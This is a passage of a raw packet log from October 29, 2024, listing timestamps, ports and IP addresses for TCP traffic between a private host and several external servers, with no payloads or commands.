Oct 29, 2024 17:59:50.789016008 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.789037943 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.789055109 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.789125919 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.789158106 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.789165974 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.789205074 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.789213896 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.789226055 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.789230108 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.789252043 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.789263010 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.789297104 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.789432049 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.789455891 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.789478064 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.789479971 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.789494038 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.789510965 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.789519072 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.789526939 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.789542913 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.789545059 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.789556026 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.789583921 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.789674997 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.789690018 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.789705992 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.789721966 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.789729118 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.789729118 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.789747953 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.789771080 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.789886951 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.789937019 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.790069103 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.790083885 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.790101051 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.790116072 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.790123940 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.790132999 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.790148973 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.790159941 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.790169954 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.790174007 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.790190935 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.790200949 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.790205956 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.790218115 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.790222883 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.790230036 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.790251017 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.790251017 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.790257931 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.790270090 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.790304899 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.790616989 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.790632010 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.790647984 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.790663004 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.790671110 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.790673018 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.790688038 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.790702105 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.790712118 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.790719032 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.790730000 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.790736914 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.790739059 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.790752888 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.790769100 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.790775061 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.790786028 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.790801048 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.790801048 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.790818930 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.790822983 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.790848017 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.790864944 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.811387062 CET	443	50047	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:50.811885118 CET	50047	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:50.811897993 CET	443	50047	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:50.812256098 CET	443	50047	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:50.815013885 CET	50047	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:50.815229893 CET	50047	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:50.815237045 CET	443	50047	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:50.815273046 CET	443	50047	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:50.867294073 CET	50047	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:50.906078100 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.906117916 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.906130075 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.906141996 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.906227112 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.906228065 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.906254053 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.906266928 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.906279087 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.906297922 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.906306982 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.906321049 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.906326056 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.906337023 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.906352043 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.906356096 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.906371117 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.906373978 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.906388998 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.906400919 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.906402111 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.906426907 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.906445026 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.906445980 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.906460047 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.906505108 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.906538010 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.906548977 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.906560898 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.906574965 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.906583071 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.906616926 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.906673908 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.906707048 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.906718969 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.906744957 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.906764030 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.906778097 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.906790972 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.906801939 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.906838894 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.906917095 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.907000065 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.907011986 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.907037973 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.907047987 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.907062054 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.907074928 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.907085896 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.907116890 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.907160044 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.907175064 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.907186985 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.907197952 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.907210112 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.907227993 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.907244921 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.907380104 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.907426119 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.907471895 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.907486916 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.907500982 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.907509089 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.907512903 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.907529116 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.907532930 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.907558918 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.907567978 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.907573938 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.907576084 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.907589912 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.907597065 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.907604933 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.907610893 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.907624006 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.907627106 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.907630920 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.907638073 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.907645941 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.907665014 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.907679081 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.908015013 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.908027887 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.908040047 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.908075094 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.908082962 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.908088923 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.908102036 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.908114910 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.908130884 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.908139944 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.908153057 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.908165932 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.908174038 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.908186913 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.908198118 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.908212900 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.908221960 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.908224106 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.908235073 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.908241987 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.908247948 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.908261061 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.908268929 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.908296108 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.908644915 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.908663988 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.908677101 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:50.908688068 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.908715010 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:50.944087982 CET	443	50047	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:50.944122076 CET	443	50047	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:50.944129944 CET	443	50047	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:50.944149017 CET	443	50047	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:50.944179058 CET	50047	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:50.944205046 CET	443	50047	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:50.944221973 CET	50047	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:50.944225073 CET	443	50047	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:50.944456100 CET	50047	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:50.945693016 CET	50047	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:50.945713043 CET	443	50047	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:50.952267885 CET	50053	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:50.952297926 CET	443	50053	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:50.952377081 CET	50053	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:50.952589035 CET	50053	443	192.168.2.6	23.47.50.146
Oct 29, 2024 17:59:50.952603102 CET	443	50053	23.47.50.146	192.168.2.6
Oct 29, 2024 17:59:51.023776054 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.023802996 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.023814917 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.023828983 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.023838043 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.023840904 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.023855925 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.023863077 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.023871899 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.023885012 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.023897886 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.023897886 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.023916006 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.023917913 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.023927927 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.023938894 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.023967028 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.024036884 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.024049044 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.024060965 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.024080992 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.024094105 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.024096966 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.024115086 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.024118900 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.024133921 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.024141073 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.024168968 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.024246931 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.024259090 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.024274111 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.024281979 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.024286985 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.024300098 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.024319887 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.024347067 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.024435997 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.024480104 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.024523020 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.024533987 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.024548054 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.024563074 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.024571896 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.024573088 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.024588108 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.024593115 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.024605036 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.024605036 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.024621964 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.024625063 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.024632931 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.024636984 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.024650097 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.024673939 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.024705887 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.024765015 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.024806976 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.024837971 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.024857998 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.024869919 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.024882078 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.024899960 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.024915934 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.024986029 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.024997950 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.025010109 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.025034904 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.025051117 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.025068045 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.025089979 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.025100946 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.025113106 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.025126934 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.025127888 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.025145054 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.025152922 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.025157928 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.025172949 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.025194883 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.025348902 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.025382996 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.025393963 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.025429010 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.025438070 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.025441885 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.025454044 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.025492907 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.029110909 CET	443	50048	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.029993057 CET	50048	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.030019999 CET	443	50048	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.030610085 CET	50048	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.030617952 CET	443	50048	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.041886091 CET	443	50049	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.050586939 CET	443	50050	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.056597948 CET	50049	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.056621075 CET	443	50049	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.057230949 CET	50049	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.057236910 CET	443	50049	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.057878971 CET	50050	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.057904959 CET	443	50050	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.058716059 CET	50050	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.058722973 CET	443	50050	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.073524952 CET	443	50052	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.073900938 CET	50052	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.073925972 CET	443	50052	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.074424028 CET	50052	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.074434042 CET	443	50052	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.075422049 CET	443	50051	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.075818062 CET	50051	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.075839996 CET	443	50051	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.076205969 CET	50051	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.076211929 CET	443	50051	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.100255013 CET	49958	80	192.168.2.6	185.215.113.206
Oct 29, 2024 17:59:51.105859041 CET	80	49958	185.215.113.206	192.168.2.6
Oct 29, 2024 17:59:51.185889959 CET	443	50049	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.186028957 CET	443	50049	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.186189890 CET	50049	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.186218023 CET	50049	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.186232090 CET	443	50049	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.186259031 CET	50049	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.186266899 CET	443	50049	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.187889099 CET	443	50050	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.187954903 CET	443	50050	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:51.188132048 CET	50050	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.188257933 CET	50050	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:51.188271046 CET	443	50050	13.107.246.45	192.168.2.6
